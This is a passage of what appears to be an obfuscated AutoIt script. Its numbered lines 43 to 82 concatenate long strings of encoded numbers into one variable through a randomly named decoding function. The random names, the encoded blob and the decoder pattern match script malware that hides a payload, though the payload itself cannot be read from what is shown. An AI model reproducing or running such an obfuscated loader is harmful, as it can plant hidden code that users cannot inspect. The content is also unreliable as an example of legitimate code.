  43. $lmascgp &= btbxjymrfgaetpa("56,53,56,56,56,55,56,5,56,60,56,54,57,56,56,54,56,55,56,54,57,56,56,54,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,5,56,56,56,53,56,60,56,53,56,5,56,6,56,6,56,56,56,55,56,5,56,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,59,56,54,56,57,56,53,56,59,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56")
  44. $lmascgp &= btbxjymrfgaetpa("5,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,57,57,54,57,54")
  45. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,56,6,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,57,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,6,56")
  46. $lmascgp &= btbxjymrfgaetpa("54,56,59,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,6,56,56,56,56,56,54,56,59,56,53,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,54")
  47. $lmascgp &= btbxjymrfgaetpa("56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,54,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56")
  48. $lmascgp &= btbxjymrfgaetpa("53,56,6,56,55,56,53,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,6,56,54,56,59,56,53,56,57,56,54,56,6,56,6,56,6,56,6,56,55,56,6,56,60,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56")
  49. $lmascgp &= btbxjymrfgaetpa("56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,53,56,60,56,53,56,56,56,6,56,6,56,6,56,55,57,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,57,57,54,57,54,57")
  50. $lmascgp &= btbxjymrfgaetpa("54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,58,56,54,56,55,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53")
  51. $lmascgp &= btbxjymrfgaetpa("56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56")
  52. $lmascgp &= btbxjymrfgaetpa("55,57,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,56,56,55,57,59,56,6,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,56,56,55,57,59,57,57,56,56,57,57,56,54,56,5,56,54,56,58,56,53,56,58,57,57,56,53")
  53. $lmascgp &= btbxjymrfgaetpa("56,56,56,55,57,58,56,60,56,54,56,59,56,53,56,58,56,53,56,5,56,56,56,59,56,6,56,6,56,56,56,55,57,58,56,56,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,56,56,59,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57")
  54. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,55,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,56,54,56,59,57,57,56,53,56,56,56,55,57,54,56,60,56,53,56,60,56,54,56,5,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,54,56,56,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,54,56,6,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,53")
  55. $lmascgp &= btbxjymrfgaetpa("56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,54,57,55,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,60,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,56,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,56,5,57,54,57,54,57,54,57")
  56. $lmascgp &= btbxjymrfgaetpa("54,56,53,56,56,56,55,56,54,56,54,56,5,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,55,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,54,57,56,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,57,55,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,56")
  57. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,56,56,54,56,53,56,58,56,54,56,55,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56")
  58. $lmascgp &= btbxjymrfgaetpa("6,56,55,56,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,55,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55")
  59. $lmascgp &= btbxjymrfgaetpa("57,59,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,54,56,56,57,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,56,56,54,57,54,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57")
  60. $lmascgp &= btbxjymrfgaetpa("58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,56,56,54,56,5,56,54,57,55,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,55,56,60,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55")
  61. $lmascgp &= btbxjymrfgaetpa("56,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,55,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,58,56,53,56,56,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,56,57,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,59,57,54,57,54,57")
  62. $lmascgp &= btbxjymrfgaetpa("54,57,54,56,54,57,56,56,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,56,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,60,56,55,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,56,55,56,53,56,53,56,56,57,54,57,57,56,53,56,6,56,55,56,53")
  63. $lmascgp &= btbxjymrfgaetpa("56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,54,56,55,56,57,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,55,56,54,57,56,56,54,56")
  64. $lmascgp &= btbxjymrfgaetpa("55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57")
  65. $lmascgp &= btbxjymrfgaetpa("56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56")
  66. $lmascgp &= btbxjymrfgaetpa("56,57,55,56,53,56,56,56,56,56,53,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6")
  67. $lmascgp &= btbxjymrfgaetpa("56,6,56,6,56,55,56,56,56,54,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56")
  68. $lmascgp &= btbxjymrfgaetpa("57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,57,56,58,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54")
  69. $lmascgp &= btbxjymrfgaetpa("56,55,56,57,56,54,56,55,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,53,56,60,56,54,56,59,57,57,56,53,56,6,56,55,56,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,54,56,54,56,5,56,53,56,58,56")
  70. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,57,56,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,57,56,53,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,53,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,6,57,54")
  71. $lmascgp &= btbxjymrfgaetpa("57,59,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,56,57,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,56,56,53,56,55,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,56,54,56,54,56,5,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,57,55,56,54,56,59,56,54,57,56,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,58,57,54,57,54,57,54,57")
  72. $lmascgp &= btbxjymrfgaetpa("54,56,54,56,55,56,56,56,59,56,6,56,6,56,6,56,55,56,60,57,59,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,57,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,57,57,57,57,57,54,56,5,57,54,57,54")
  73. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,57,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,56,56,54,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,54,57,57,57")
  74. $lmascgp &= btbxjymrfgaetpa("54,57,55,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57")
  75. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,57,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,54,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,56,57,58,56,54,56")
  76. $lmascgp &= btbxjymrfgaetpa("55,56,54,56,54,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,6,56,6,57,54,57,56")
  77. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,56,56,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,54,57,57,56,53,56")
  78. $lmascgp &= btbxjymrfgaetpa("6,56,55,57,55,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,6,57,54")
  79. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,55,56,60,57,57,56,53,56,6,56,55,56,60,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56")
  80. $lmascgp &= btbxjymrfgaetpa("6,56,54,57,56,56,54,56,55,56,54,57,56,56,53,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,57,57,56,54,56,55,56,53,56,56,56,6,56,6,56,56,56,55,56,6,57,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,59,56,53,56,5,56,56,56,55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,6,56,54,56,55,56,54,56,57,56,53,56,55")
  81. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,57,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56,60,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,56,56,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,56,6,56,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56")
  82. $lmascgp &= btbxjymrfgaetpa("6,56,55,56,5,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56")
